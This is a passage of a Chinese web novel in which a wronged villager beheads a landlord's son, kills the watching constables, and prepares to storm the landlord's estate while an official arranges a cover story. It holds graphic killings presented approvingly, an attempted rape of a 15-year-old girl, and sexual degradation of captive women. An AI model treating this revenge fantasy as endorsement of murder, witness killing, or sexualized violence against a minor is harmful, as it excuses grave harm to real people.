“你们走后不久,李全福带着一帮差役,跑到你家胡吃海喝。”
“当时我也在,本以为吃完饭他们就会走,不曾想,刚撂下碗筷,李全福就开始让人翻箱倒柜,四处打砸!”
“你大舅哥林大强和村里一些年轻人和他们动起手来,但哪里是差役的对手?没两下就被打得爬都爬不起来。”
“李全福从你家柜子里搜出一封信,说是你暗中勾结黑风岭响马,私藏违禁武器,图谋造反的证据,要抄你的家!”
“把你家值钱的东西全搬走,搬不走的就砸了,还把你家女眷和你大舅哥全抓了起来!”
“现在,李全福在村子里安插了眼线,只要你回家,就会带人来抓你!”
说到这儿,张婶已是泣不成声。
“岂有此理!”薛猛大怒。
这李全福,太不是东西了!
居然说我是勾结黑风岭响马的反贼?
这是想置我于死地啊!
薛猛虎目微眯,眼底杀意凝聚。
感受到薛猛身上散发出的无形杀气,张婶不由得打了个寒战。
随即,好言劝道:“长根儿啊,你别冲动!婶子知道,你会些拳脚,但李庄势大!”
“你一个人,斗不过他们的!”
“趁他们还没发现你回村,你快走吧!走得越远越好,别再回来了!”
“薛大哥这几天明明跟我们在一起,怎么可能是什么勾结响马的反贼?”
罗飞替薛猛鸣不平:“这姓李的分明是在搬弄是非!咱们得赶快去把嫂子救出来!”
“还是先顾好你们自己吧。”
罗飞话音刚落,一道微带讥嘲的声音突然从门口传来。
薛猛扭头一看,一个身着黑色劲装,背着一把虎头砍刀的虬髯汉子迈步走了进来。
不同于只会虚张声势的差役和野路子的响马土匪。
这人脚步扎实,气息绵长,显然训练有素。
眼神淡漠如刀,虎口处刀茧清晰可见。
一进门,看似站位随意,实则封锁住了薛猛所有去路。
若没有丰富的实战经验,绝对不可能做到这种程度。
薛猛暗自惊心,白虎乡什么时候出了这种高手?
“你就是薛猛吧?白虎乡人人都说你是大英雄,连棕熊都不是你的一合之敌……”
虬髯汉子上下打量了薛猛一番,眼神中流露出不加掩饰的戏谑:“我还以为有多了不得,原来也不过如此。”
“听说你箭术很高。”
“我不太会射箭,但在这方寸之地,你的弓箭只怕没有什么用武之地吧。”
“咱们比比刀如何。”
“若你能接得住我两刀,我可以放你走。”
“郑大人,不可!”
李贺气喘吁吁,带着一队白虎乡差役赶了过来。
一指薛猛,冲虬髯汉子说道:“这薛猛,乃是勾结响马的反贼!”
“绝对不能放走他!”
“还有这个贼妇,居然敢暗中给反贼薛猛通风报信,理当同罪论处!”
“左右,给我将这两个贼人拿下!”
第37章 白虎军老兵
随着李贺一声令下,几名差役纷纷上前,将张婶摁住。
但却没有一人敢对薛猛动手。
整个白虎乡的人都知道,薛猛连棕熊都能杀死!
而且老百姓最喜欢添油加醋夸大事实,他们听到的版本是薛猛赤手空拳打死了一丈多高的棕熊……
这种猛人,谁敢对他动手?
怕不是活腻了!
“郑大人,有劳您了,赶快将这强贼拿下,切莫让他走脱!”
一向目中无人的李贺,对虬髯汉子却是满脸谄媚,弓腰撅腚,极尽讨好之色。
虬髯汉子冷冷瞥了眼李贺一眼。
“滚一边去。”
“能从我郑灵均手里逃出的贼人,还没生出来呢。”
“老子行事,还需要你们这些苍蝇在旁边多嘴多舌?”
“是是是,郑大人本领高强,小的不该多嘴。”
李贺面色窘迫,也不敢反驳半句,点头如捣蒜,挥手示意几名差役退下。
谁让这位郑爷,是县衙里派下来的特差。
据说还是行伍出身,杀过北莽骑兵,如今刚到洪雅县,被县太爷奉为座上宾,专司稽查反贼、缉捕响马之事。
这种狠角色,他可惹不起。
薛猛微微皱眉。
这郑灵均,和以往见到的官差,似乎不太一样。
他倒更像是江湖中人,跟李贺之流显然不是一路人。
“郑大人,我并没有勾结黑风岭响马,你不要被他们蛊惑了……”
薛猛本想化干戈为玉帛。
但,郑灵均的脾气并没有他想象中那么好。
只听呛啷一声,郑灵均一抬手,从旁边差役腰间刀鞘里拔出一柄长刀,抛至薛猛脚边:“屁话少说!像你这种人,老子见得多了,每个强盗见到老子,都说自己是无辜的!”
“时间久了,老子也分不清到底什么是真话什么是假话!”
“后来我明白了,是忠是奸,刀说了算。”
“咱俩过两招。”
“若你接得住我两刀,不……一刀,才有狡辩的资格。”
薛猛脚尖一点,弹刀而起,伸手握住刀柄,姿势轻松写意:“那就请前辈赐教吧……”
锵!
一声爆鸣。
郑灵均自信拔刀。
毫无任何花俏,径直朝着薛猛面门,挥刀斩下。
刀风呼啸,瞬间锁定薛猛生机。
当年关外浴血厮杀。
他凭着手中这把砍刀,砍下过上百北莽骑兵人头。
离开白虎军营后,又凭借手中刀在各郡县缉捕贼盗。
扫平一县贼寇后,立即辞官不做,又到下一个县去。
如此十年时间,寻常贼寇闻他郑灵均大名,无不丢魂丧胆。
然而。
他在薛猛眼中,却没有看到丝毫的胆怯。
反而在这个年轻人眼中,看到了一抹久违的兴奋。
“好一个刀说了算。”
“正合我意!!”
这一路走来。
村霸盘剥。
响马威胁。
世道沦丧。
薛猛早就对这个污浊世界深恶痛绝!
往日,顾忌着林雅娴,薛猛一直压着心中怒火,没和这些官差撕破脸。
可现在,李全福带人抄了他的家!
还抓走了他在这个世界最在乎的人!
甚至,还要制造伪证,诬陷他与响马勾结,置他于死地!
如今的薛猛,心中已再无顾忌。
内心深处沉睡已久的那头猛虎,自此刻宣告觉醒……
“原来真正吃人的大虫,不在山里。”
“比起棕熊,更可恨的就是你们这些狗官!”
“棕熊吃人,祸害的不过一乡之地,而你们这些狗官吃人,祸害的却是整个天下!”
“口口声声说我薛猛是反贼?”
“那我今日,就反给你们看!”
面对对方刚猛劈砍之势。
薛猛面毫无畏怯,不退反进。
竖刀迎击。
锵!
双刀交错。
火星乱闪。
爆鸣之声,震得屋内其他人耳膜生疼。
“郑大人,砍死这小子!”
李贺满脸狰狞,兴奋呼喊。
薛猛暴打他的仇,今日总算能报了!
姓薛的,你不是挺能耐吗?
遇上郑大人,你今天算是栽了!
人家连北莽骑兵都杀过,收拾你这种小卡拉米不是手拿把掐?
罗飞脸色煞白,暗道不好!
打造兵器多年,他能够看出来,郑灵均手中那把虎头砍刀的材质,远远胜于薛猛手中那把制式腰刀!
双方若是硬碰,薛猛必定刀断人亡。
“我的天,别打了……”
张婶吓得几欲昏厥。
见薛猛竖刀迎击,郑灵均心中顿生轻蔑。
但凡薛猛横刀格挡,或是闪避,都算是应对得当。
哪怕手中刀注定会被自己劈断,但至少可以保住一条小命。
可他居然竖刀迎击……
这是想和自己硬碰硬的意思?
愚蠢至极!
看来所谓的大英雄,也不过是浪得虚名!
然而当两把刀真正交击在一起时,郑灵均突然脸色大变,一股沛然莫之能御的巨力将他挑起,迫使他不得不向后暴退数步。
若非他仗着下盘扎实,强行稳住身形,只怕是要被被那股力道挑飞出去。
握刀的手微微颤抖,虎口发麻,几乎失去知觉。
反观薛猛,竖刀而立,稳若泰山。
这怎么可能?
郑灵均双目圆睁,面如土色。
“郑大人威武!”
看见有人落败,李贺仰起头鼓掌大笑,压根没有仔细看,到底是谁败了。
反正在他看来,败的只能是不自量力的薛猛!
“李公子……别笑了,你先看看清楚吧。”
旁边几名差役,拽了拽李贺衣袖。
李贺这才定睛一看,当他看清落败一方居然是郑灵均,脸上的笑容顿时凝固,整个人都傻了。
“这……这是怎么回事。”
罗飞和张婶满脸呆滞,他们完全没看清刚才发生了什么……
只知道,薛猛站着根本没动,而郑灵均却连连败退。
“承让了。”
薛猛缓缓垂下刀锋,神情淡如雨后清风,不带一丝烟火气。
“郑大人,你为何对这反贼留手哇?”
李贺还真以为郑灵均故意放水,惊叫道。
“闭嘴!”
郑灵均狠狠瞪了李贺一眼,恨不得一刀将这多嘴多舌的蠢货宰了。
故意让着薛猛?
根本不可能!
相反,他深谙猛狮搏兔亦用全力的战场厮杀要诀,从来不会对任何敌人手软。
因此每次出刀,都会用尽全力。
依照常理而言,他刚才这一刀劈下,以薛猛手中腰刀的强度,顷刻便会崩断,绝无意外。
然而事实却是,他这一刀不知为何竟然磕在了薛猛的刀背上,一股不知从何而来的反震力,瞬间将他的刀弹开,甚至将他整个人都挑了起来。
外行只看见薛猛好像根本没动。
但他练刀三十年,十分清楚薛猛有多可怕。
“薛大哥,你太神了!”
薛猛的刀,材质明明远不如对方,却反将对方击退。
这在罗飞看来,无疑于神迹。
不仅箭术高超,连刀法也这么厉害……
罗飞看薛猛的眼神,充满崇拜和敬畏。
“侥幸罢了。”
薛猛淡淡一笑。
他刚才那一刀,脱胎于形意拳中的“劈拳化格”。
原理很简单,就是巧妙利用杠杆原理。
面对刀质量比自己好,力量比自己强大的对手,无论是横刀格挡,或是闪避,都很容易露出破绽而受伤。
面对这样的逆境。
唯有踏步上顶,竖刀挑格,迎锋而上,借助身体向上顶起的力量,形成“杠杆支点”。
在对方刀势用老的瞬间,扭转刀柄,以自身刀背磕向对方刃尖,迫使对方刀势向上偏移。
同时手腕突然发力抖弹,通过反作用力震飞对方。
也就是说,将郑灵均挑飞的力量,并非薛猛之力,而正是他自己劈砍产生的力量。
若是换了寻常人,只怕是武器都被震飞了。
但这郑灵均,却只是暴退数步,硬生生稳住身形,刀也未曾脱手,基本功之扎实深厚,可见一斑。
若是真在战场上遇上,薛猛暗忖,自己未必就能拿下他。
郑灵均摸了摸颌下虬髯,目露赞赏:“薛家小子,十年来,你是唯一一个能够接住我一刀的贼人。”
“若你不是反贼,我们或许可以做朋友。”
“可是今日,我是奉洪雅县尊之命,前来捉拿尔等贼寇!”
“哪怕你接了我一招,老夫也不可能真的放你走!”
“否则放虎归山,不知多少无辜百姓,将要丧命于你手!”
李贺闻言,面色一喜,连忙附和点头:“对对对,郑大人英明!寻常农户哪敢动刀动枪,这厮分明就是强贼!刚才他自己也说了,要造反呢!”
“所有人一起上,这薛猛再有能耐,也不过是两条胳膊顶一个脑袋,咱们人多,一人一刀都能砍死他!”
郑灵均横刀挡在门口,身上散发着滔天杀意。
站位再无先前的轻松随意。
而是打算以命相搏,留下薛猛!
“原本以为你这人,和别的官差不一样,但现在看来也不过是个可怜的糊涂虫。”
“被人玩弄于鼓掌,分不清是非善恶。”
“我要真是反贼,方才你落败之时,一刀就可以杀了你!”
薛猛虎目冰冷,紧了紧手中腰刀,对郑灵均不再抱任何幻想。
罗飞悄然将张婶护至身后,手里紧紧握住铁棍,随时准备冲上去和薛猛并肩厮杀。
他才不管什么官啊匪的!
他只知道,跟着薛猛才有肉吃!
“且慢动手!”
就在双方刀锋相对,剑拔弩张之际,一个苍老声音响起。
第38章 李贺,死!
薛猛循声扭头,只见来人不是别人,正是徐守业。
当即紧张起来:“徐伯,这里危险,你别过来!”
徐守业却是摆摆手,示意薛猛不必担心,径直来到郑灵均面前。
看见郑灵均手中虎头砍刀,徐守业老眸精芒闪烁,口中缓缓吟道。
“金装宝刀藏龙口,玉带红绒挂虎头。”
“关外征战三十载,不破北莽不回头。”
四句诗吟罢。
徐守业闭上双眼,眼角垂下一抹泪光。
随着泪珠落地。
咣当一声。
郑灵均手中砍刀也随之脱手落地,怔怔看着徐守业。
“三哥?”
“三哥!!!”
下一刻,郑灵均一把冲过去抱住了徐守业。
几十岁的大男人,哭得跟个孩子一样。
“四十七弟,十年不见,你也老了啊。”
徐守业拍着郑灵均肩膀,老泪纵横。
“哎呀……谁家娶媳妇吗?这么吵!我这是在哪儿?也没喝酒啊,怎么头这么疼。”
老白头揉着脑袋,迷迷糊糊地从里屋走了出来。
“四哥也在?!”
郑灵均难以置信地看着老白头,随即对徐守业问道:“三哥,这到底怎么回事,你和四哥怎么会出现在这里?”
“哟,这不是那谁嘛,当年毛都没长齐的小屁娃,怎么长上胡子了?”
老白头见了郑灵均,嘴臭发挥稳定。
“四哥,你的胳膊怎么了!”
看着老白头的断臂,郑灵均满脸心疼。
“害,说来话长!”
“四十七弟,咱们得有十年没见了吧?”
“不止!自从大哥被召回京城,咱们白虎军三百精卫全都被迫遣散,打那时候起咱们哥几个就再没见过!没想到竟在这儿遇上!”
“老了,都老了啊!岁月不饶人呐!”
三个老哥俩抱在一起,哭得昏天黑地。
看到这一幕。
李贺傻眼了。
不是哥们儿。
这啥情况啊?
看这架势,这郑大人还跟他们认识?
不对头。
这郑大人要和徐守业他们是老战友,徐守业又打算把徐瑾儿嫁给薛猛,这关系可就深了去了。
自己带人抄了薛家,还抓走了林雅娴!
要是计较起来,我不完犊子了?
我得赶快走!
李贺何等精明,见势不对,马上就准备开溜。
可他刚走出门外没几步,恍然间眼前一道刀光划过,一把刀抵住了他的脖子。
李贺吓得满头冒汗,不敢再向前迈步。
目光顺着刀柄扫去,只见握刀之人,正是薛猛。
对上薛猛那双冰冷虎目,李贺心尖一颤,嘴唇哆嗦道:“薛……薛兄弟,你这是做什么?咱有话好好说,先把刀放下!”
薛猛冷哼:“第一,我不是你兄弟。”
“第二,你几次三番找我的茬,上次你爹硬保你,才让你侥幸逃过一劫。”
“如今你竟敢诬陷我为响马,抄我的家,抓我的人,还要置我于死地!”
“我真想剖开你的肚腹,看看你的心肝,是红还是黑!”
薛猛眼中怒火如焚,手中刀锋一斜。
李贺脖子上顿时渗出一条血线。
“啊呀!薛爷爷饶命!是我爹要你的命,不是我啊!”
李贺吓得魂飞胆丧,连忙举手求饶。
闻言,薛猛虎目一凝,问道:“到底怎么回事,说!”
李贺支支吾吾不敢开口,犹豫着要不要出卖自己亲爹。
“不说,你就去死!”
薛猛手腕一紧,刀锋嵌入了李贺颈部皮肉。
“别别别!我说,我全说!”
李贺是真的怕了。
他感觉薛猛不是虚张声势,而是真敢杀人!
当即不敢再有所隐瞒,一股脑将此事内幕抖露了出来。
听完李贺的话,薛猛低眉看向地面,若有所思。
“你是说,我斩杀棕熊后,风头过盛,你们李家担心我薛家崛起,威胁到李家的地位,所以才想出这条栽赃陷害的毒计,想抹杀我薛家?”
“是啊!”
李贺连连点头:“白虎乡一共就五个村子,地盘只有这么大,我们李家当了这么多年的大地主,怎么能允许其他家族崛起,跟我们抢地盘呢?”
“其实不光你家,这些年,但凡是稍微有点起色的家族,都被我爹暗中敲打,甚至抹杀掉了!”
“你们以前穷得好好的,随便给几文钱,就能让你们挤破了头的拼命给李庄干活!”
“要是大家都富起来,以后我爹上哪儿找这么廉价的长工?”
闻言,薛猛额头青筋暴起,恨不得咬碎后槽牙。
明白了。
全明白了!
为什么以前大家这么穷?
是大家不够勤快,没有努力干活吗?
并不是!
而是有李家这个吸血鬼存在。
李家作为剥削阶级,想要巩固自己的地位。
就必须让周围的百姓一直处于贫困状态!
只有这样,他们才能更好地把控老百姓!
就像之前,李家桑园招人种桑树,一天种五十棵,却只给区区五文工钱。
就这,大家还抢着干呢!
“薛爷爷,现在你明白了吧,真正见不得你好的,不是我,是俺爹!”
“你别找我麻烦,找我爹去吧!”
“李全福!”
薛猛虎目微眯,拳头暗自捏紧。
看来自己要办酒坊,带领乡亲们致富。
必须先除掉李全福这个绊脚石!
否则日后还不一定惹来多少麻烦呢!
见薛猛注意力转移,李贺贼眼滴溜一转,转身就想开溜。
“站住!老子让你走了吗?”
一声怒喝,像无形利刃,刺入李贺耳膜。
李贺腿一软,直接跪倒在地,诚惶诚恐道:“薛爷爷,您还有什么吩咐。”
薛猛一脚踩在李贺背上,将他摁在地上狠狠摩擦,寒声道:“你踏马少跟我揣着明白装糊涂!”
骨裂声响起,这一脚直接踏断了宋大龙一根肋骨。
“老子的女人呢!!”
“啊饶命啊……”
李贺忍痛哀嚎道:“她们在乡亭班房关着呢,亭长收了我爹的银子,要替我爹好好‘招待’她们……”
“薛爷爷,该说的不该说的,我都说了!我连我爹都出卖了!可以……放我走了吧?”
薛猛面无表情,松开了踩住李贺的脚。
“多谢薛爷爷!”
李贺松了口气,满脸赔笑,起身拍了拍身上灰尘,转身瞬间却是笑容一敛,眼底闪过一抹阴鸷。
好你个姓薛的,让你再嚣张一会儿!
你给老子等着!
等回了李庄,马上让俺爹派人来收拾你,这次我爹可是在江湖上请了不少高手专门来收拾你!
看着李贺肥蛆般丑陋的背影。
薛猛眼神冰冷,新仇旧恨一并涌上心头,化作凛然杀意。
刷!
大手一挥,一道白光在夜色中闪瞬而逝。
咚……
一声闷响,李贺那颗脑满肥肠的人头,顷刻滚落在地。
无头尸体血柱喷出一丈多高,向前走了两步,轰然倒在血泊中。
第39章 劫牢救人
身处乱世,心不狠,站不稳!
李贺这种祸害。
几次三番搞背刺。
不杀了,留着过年吗?
杀了李贺!
前身大仇得报。
体内的怨念转瞬烟消云散。
憋在薛猛心头的那股气,总算顺畅了。
咋说呢,就俩字——舒坦!
“李公子……死,死了!”
一旁,传来惊呼。
薛猛目光一扫,看见先前跟着李贺的那几个催生队差役。
这几个败类,平日里仗着身上那层皮,可没少欺男霸女,收刮民财。
一天天巴结着李庄,在老百姓面前,那叫一个耀武扬威。
可现在,几人却是瞪大双眼,难以置信地看着地上李贺的人头。
吓得瘫坐在地,屎尿齐出,连逃跑的力气都没了。
“别害怕,有点痛是正常的。”
薛猛手提长刀,像只嗜血的猛虎,缓缓向满脸绝望的差役逼近。
这些家伙也是倒霉,谁让他们亲眼看见了薛猛砍杀李贺,薛猛怎么可能留下活口。
“兄弟们,这小子想杀我们灭口,咱们跟他拼了!”
面临死亡威胁,几名差役再怂也得反抗一下。
然而他们连刀都还没拔出来。
脖子上就已多了几道血痕。
身形晃了晃,几人仿佛被镰刀收割的麦子,错落倒地。
薛猛目光淡漠,甩臂收刀,鲜血撒落在地,化作点点红梅。
余光瞥见,郑灵均正站在不远处,望着自己。
“出什么事了?”
徐守业和老白头听见外面动静,先后赶了出来。
嘶!
看见地上满地残肢血肉。
饶是见惯尸山血海的他们,也都不禁倒吸一口凉气。
而后面跟出来的罗飞、张婶、李正、周堂几人,哪里见过这种场面,光是闻见刺鼻的血腥味,就已经几欲作呕。
“李贺胆大包天,知法犯法,率众勾结响马,夜袭卧虎村!”
“白虎乡英雄薛猛以一己之力,斩杀李贺,击退响马,护村有功!”
就在薛猛不知如何解释时,郑灵均却突然高声喝道。
啊?
别说其他人听傻了。
薛猛自己都不禁有些脸红。
这大胡子,挺能掰扯啊!
在场几人面面相觑,随即纷纷点头,心照不宣。
薛猛是全村的希望!
大家自然要死保薛猛!
薛猛也清楚,徐守业等人和自己是穿一条裤子的,肯定会帮自己保守秘密。
但,这郑灵均乃是官府中人,先前还要帮着李贺捉拿自己…
怎么现在反倒帮自己说起话来了?
郑灵均满脸歉意道:“薛贤侄,先前都是老郑我误信了小人谗言,误将你当作反贼,你莫见怪。”
方才与徐守业叙旧后,他已经得知薛猛乃是徐守业的准女婿。
并且亲手杀过黑风岭响马,怎么可能勾结响马?
分明就是李家父子故意栽赃陷害!
可笑的是,自己竟然被这群小人愚弄,帮着他们对付三哥的女婿!
简直是大水冲了龙王庙!
所幸三哥这位女婿,不愧是少年英雄,本事过硬,接住了他一刀,才不至于让他铸成大错!
徐守业适时对薛猛介绍道:“长根儿,你郑叔也不是外人,当年我们同为白虎军内营精卫,那可是过命的交情呐。”
薛猛军营出身,自然能够体会这种肝胆相照的战友情。
虽无血缘关系,却胜似亲生兄弟。
为了对方,可以把命都豁出去!
既然有了这层关系,还有啥好说的?
叫叔就完了!
“郑叔,咱们也算是不打不相识,晚辈还要多谢郑叔,先前高抬贵手。”
薛猛冲郑灵均拱了拱手。
“哈哈!贤侄说哪里话,你的刀法可不在我之下啊!”
郑灵均也是个直爽人,并不觉得自己败给薛猛,有什么难为情。
败了就是败了!
没什么不好意思承认的!
薛猛对郑灵均顿时有了几分好感,这是个纯粹的武夫!
先前只不过是被宋大龙蒙蔽了,才跟他动手。
现在误会解开,彼此间也就没什么隔阂了。
更何况论起关系,还不是外人儿!
“对了郑叔,雅娴和我大舅哥他们还在乡亭班房里关着!听李贺说,白虎乡亭长收了李家银子,我担心会对她们不利!”
认下郑灵均这个叔叔后,薛猛忽然想起一件至关重要的事情。
自己的娘子,还在别人手里呢!
徐守业也低眉道:“我家瑾儿也不见了,她之前说过要去长根儿家,说不定也是被一起抓走了!”
“岂有此理!”
郑灵均手提虎头砍刀,两眼一瞪:“那白虎乡亭长,算什么东西,他要是敢动我三哥的闺女,我宰了他!”
“我这就去白虎乡,让他们放人!”
……
“瑾儿姐姐,刚才那些人,要把我姐姐带到哪里去啊?”
“他们说的美人纸,是什么东西?”
白虎乡乡亭班房内,茅草铺地,如同猪圈。
林小鱼紧紧抱住徐瑾儿,娇小身子瑟瑟发抖,问着徐瑾儿也难以回答的问题。
徐瑾儿满脸泪痕,今天下午,她到薛家想向林雅娴主动提出,给薛猛做小妾的事情,结果就被一起抓了过来。
一旁的赵氏,一想到自己大女儿被人抓去当美人纸。
顿时心如刀绞,深陷眼窝中渗出丝丝血泪!
美人纸,是这世上最卑贱的存在之一!
“呵呵,小妹妹,你想知道什么是美人纸?”
“我来告诉你。”
一旁,看守班房的差役,醉醺醺都凑了过来。
打开牢门,差役伸手抓向林小鱼。
徐瑾儿见状,连忙将林小鱼护在怀里,惊恐后退:“你,你要干什么!”
差役喷着酒气,嘿嘿笑着,一步步朝徐瑾儿逼近。
“你们不是想知道什么是美人纸吗?”
“我现在就让你们知道知道!”
说着,差役就要解开裤腰带。
“啊!别过来!”
徐瑾儿也不知道从哪里爆发出的勇气,捡起地上的碎石,朝差役头上砸去。
“呃啊……你这小表子居然敢打我?”
“你们这些穷人的女儿,生来就是剑货,只配给有钱有势的人当痰盂、厕纸!”
“李家公子能让你们这些剑货当美人纸!凭什么我就不行?装什么呢装!”
“老子今天不光要你当美人纸!还要你们给我吃干净!”
差役抹了把额头,满手是血,当即恼羞成怒,满脸狰狞。
像条疯狗一样朝着徐瑾儿扑了上去。
“啊啊啊……救命啊。”
徐瑾儿不过是十五岁的少女,哪里拧得过这五大三粗的差役,很快就失去了挣扎的力量。
“坏蛋!放开我瑾儿姐姐!”
赵氏和林小鱼刚凑上去,就被差役一脚踹开。
赵氏头撞在墙壁上,当场昏死了过去。
林小鱼则是一屁股坐在地上,无助地哇哇大哭。
“撕拉!”
一声裂帛之声响起。
徐瑾儿身上的衣服被差役撕开,露出一大片雪白。
差役两眼冒光,看傻了眼。
他怎么也没想到,白虎乡这种穷乡僻壤,居然有这样细皮嫩肉的美人儿。
简直嫩得一掐就能掐出水!
“当美人纸可惜了,先让老子爽爽也不迟!!”
“啊啊啊,不要哇……你敢动我,我爹和薛大哥绝对不会饶了你!”
“薛猛那小子已经成了人人喊打的反贼,给他十个胆子,他也不敢来这儿自投罗网!来吧美人儿,以后跟我过算了……”
噗呲!
就在差役想要撕开徐瑾儿身上最后一块遮羞布,扑在她身上发泄邪欲之际。
咻!
一声锐啸撕破空气。
雁翎羽箭破空而至,瞬间从后方穿透了差役身体。
差役身形一晃,惊恐低头,只见自己原本长着心脏的地方,只剩下一个海碗大的透明窟窿。
前方。
狼牙箭插在木柱上,带血箭羽还在微微颤动!
徐瑾儿杏眸惊颤,喜出望外。
薛大哥来了!
第40章 诬陷我是响马?那我就当响马!
“瑾儿!小鱼!娘!”
放箭射杀企图轻薄徐瑾儿的差役后,薛猛手拿长弓,第一时间迈步冲进班房。
几名正在打盹的差役惊醒过来,纷纷准备拔刀拦截。
却被紧随其后,手持县衙特差牌票的郑灵均喝退:“特差办事,闲杂人等速速回避!若敢插手,就地格杀!”
差役们闻言,顿时愣在原地不敢乱动。
官大一级压死人呐!
“薛大哥!”
牢房门被薛猛一脚踹开,徐瑾儿一把扑进薛猛怀里,失声痛哭起来。
若是薛猛来晚一步,她只能以死了断了。
她只属于薛猛,绝不能容许别的男人玷污!
“瑾儿,薛大哥来晚了!”
薛猛心疼得抚摸着瑾儿梨花带雨般的脸蛋,安抚了未来小老婆一番。
随即,虎目一扫,注意到班房里似乎少了个人。
我那么大个大老婆呢?
“瑾儿,雅娴呢?”
“林姐姐她……她……”
徐瑾儿已被刚才血腥的一幕吓傻了,惊魂未定,支吾半天愣是没说出一句完整话。
赵氏又昏迷不醒。
林小鱼也是倒下地上嘴唇都哭紫了,连薛猛她都认不出来了,别人一碰她就使劲蹬腿打滚嗷嗷叫。
大家都受惊不小,一时半会儿缓不过神来。
问不出林雅娴下落,薛猛只好让人将她们先送回卧虎村,让张婶好好安顿。
“妹夫,你可算回来了!二妹不久前被李家的人带走了!”
薛猛找遍整个乡亭,愣是没有见到林雅娴的身影。
就在这时,罗飞扶着浑身是伤的林大强,从另外一间牢房里走了过来,身后还跟着十几个村民,全是跟差役干架被关进来的。
“大舅哥,李家的人带走雅娴做什么?”
薛猛看着满身是伤的林大强,问道。
林大强虚弱道:“听说……那李庄老爷李全福,害了痔疮,寻常厕筹刮得他生疼……所以,他专门找一些年轻漂亮的小姑娘……替他……”
说到这里,林大强甩头一叹,再也说不下去了。
糟心呐!
把好好的小姑娘,全给糟蹋了!
“畜牲!李家这帮畜牲,老子跟他们势不两立!!!”
薛猛双目血红,一刀劈断牢门,提着刀转身冲出门外,直奔李庄狂奔而去。
怒不可遏,煞气冲天!
宛若彻底失控,将要大开杀戒的虎豹!!
两世为人,林雅娴是他生命中第一个女人!
地位至高无上!
并且,穿越之初,若没有林雅娴日复一日给他送饭照顾他,他早就饿死了!
林雅娴就是薛猛的逆鳞,谁动谁死!
“兄弟们,李庄欺人太甚,居然敢动咱们嫂子!”
“咱们跟他拼了!”
“拼了!!”
罗飞也是肺都快气炸了。
高举屠刀,带着群情激愤的师兄弟冲出门外,直奔李庄杀去。
林大强和其他村民对视一眼,也抄起家伙跟了上去。
哪怕身负重伤,帮不上什么大忙,但是替薛猛充充人头,壮壮士气也好!
林雅娴可是他的亲妹子啊,岂容李全福那条老狗糟蹋!
郑灵均带着周堂、李正,扭头瞥向一旁低着头,瑟瑟发抖的白虎乡亭长:“方亭长,今晚的事情,你知道该怎么处理吧。”
方田汗流浃背,点头如捣蒜:“郑大人放心,下官明白。”
“那你说说,若是李庄的人一夜全死了,县里派人下来调查,你该怎么说?”
听到郑灵均这话,方田喉头滚动,咽下一口唾沫。
大脑飞速转动,嘴皮哆嗦道。
“李庄勾结响马,陷害薛大英雄,残害良家妇女,夺取他人家产,罪大恶极……”
“因与响马分赃不均,被响马血洗全庄!”
“诶,这就对咯。”
郑灵均拍拍方田肩膀,咧嘴一笑:“这亭长的位置,你就先坐着吧。”
“至于你收受李庄贿赂一事,本特差会替你保密的。”
“但若是今晚的事情,走漏了半点风声,那我一定会让你,见识见识地狱的风景。”
临走前,郑灵均重重掐了一把方田的肩膀,疼得方田刻骨铭心。
“不敢,下官绝对不敢!!”
目送郑灵均离去,方田满头大汗,脱力一般,跪倒在地。
就是借他十个胆子,他也不敢得罪郑灵均这种狠人呐!
李庄给的是银子。
可郑灵均要的是他的命呐!
“亭长,这,这怎么处理。”
一名差役,指了指地上被狼牙箭绞烂心脏的倒霉蛋同事,怯声问道。
“怎么处理,还需要我来教你?”
在下属面前,方田立即恢复了平日颐指气使的架势,起身没好气道:“细细剁成臊子,找个菜人市卖了便是。”
“还有,以后见到薛家的人,都给我客客气气的。”
“今夜之后,薛家将成为白虎乡新的大户。”
方田抬头看向漆黑的天,天上罕见地出现了一颗耀眼的明星。
……
“剑人!不听话,老子打死你!”
“别人能舔,你为什么不能舔!”
“老子好心把你从牢房里救出来,给你一份差事,你居然恩将仇报,敢咬老子!”
李庄,后院一间房门紧闭的屋子里。
脸色煞白如恶鬼的李全福,手拿鞭子,恶狠狠地抽在林雅娴身上。
林雅娴趴跪在地,嘴唇咬出了血,却是一声不吭。
心中只盼望着李全福再大力些,将她快点打死!
死了,就不用受李家凌辱,做那什么美人纸了!
看到这一幕,一旁站着的其他丫鬟,眼神空洞,满脸麻木,显然已经司空见惯。
“老子要出恭,你最好是给我听话,跪下给老子舔干净!”
闻言,林雅娴娇躯一颤。
扭头看向不远处承重的梁柱,银牙一咬,美眸泪光闪烁,想要一头撞死。
相公!
雅娴不能再陪你了!
若有来世,雅娴下辈子再做你娘子!
林雅娴宁死也绝不受辱。
她是穷人家的女儿。
但她有骨气!
想让她做美人纸,做梦!
“砰!”
就在这时,一声爆响传来。
房门被从外推开,李家管家扑倒在地,满脸惊恐喊道:“老爷大事不好了,响马杀过来了!”
“响马?!”
李全福闻言先是一惊,随即否认道:“不可能!白虎乡附近的响马,跟我都有交情,每年我都会给他们送银子,他们怎么可能来劫掠我李庄?”
“不是那些响马,今天来这些响马,全都蒙着脸!”管家回道。
李全福思忖道:“那多半是打别处来的响马,还不知道我李庄在白虎乡的名声!他们来了多少人?”
“不多,也就二十来人!”
“区区二十来人,何必惊慌?我李庄有五十名庄客,个个都是惯会使枪弄棒的行家,收拾几个响马绰绰有余!”
说完,李贺便不再理会。
区区几个响马,还不需要他操心。
他可是特地花每月三百两白银的重金,从江湖上请来成名已久的金刀大王周鹤镇守家宅,岂会害怕区区响马……
然而。
就在李贺这话刚说完不久。
咚。
一声闷响,一颗须发花白的人头,从门外抛进屋内,骨碌碌滚到他的脚边。
李贺定睛一看,险些吓晕过去。
那人头不是别的,正是他府上最厉害的庄客,金刀大王周鹤!
“周鹤?!!”
看清周鹤的脸,李全福又惊又怒,气得对旁边的丫鬟又打又踹。
“院里的人都听着!李全福欠了我黑风岭的血债!今日我等好汉前来,专杀这鸟人!其余人等,不想死的,速速退去!”
“若有顽抗者,格杀勿论!”
就在这时,一个手提带血长刀的蒙面人,踏入李家内院。
洪亮声音响彻整个李家庄园!
一时间,李庄仆人、丫鬟纷纷作鸟兽散。
留下来为李家守节拼命?
开什么玩笑!
李家平日怎么对他们的,他们可都记得清清楚楚!
他们之中的不少人,本是附近村子的村民,都是被李家用各种下作手段,夺走田地,欠下巨债,签下了卖身契。
从此沦为李家奴仆,永世不得翻身,受尽李家压迫。
如今李家倒台,他们也终于恢复了自由身!
“不许走!”
“你们不许走哇!”
李全福冲到院子里,看着离他而去的仆人,急得大吼大叫。
但却没有一个人鸟他。
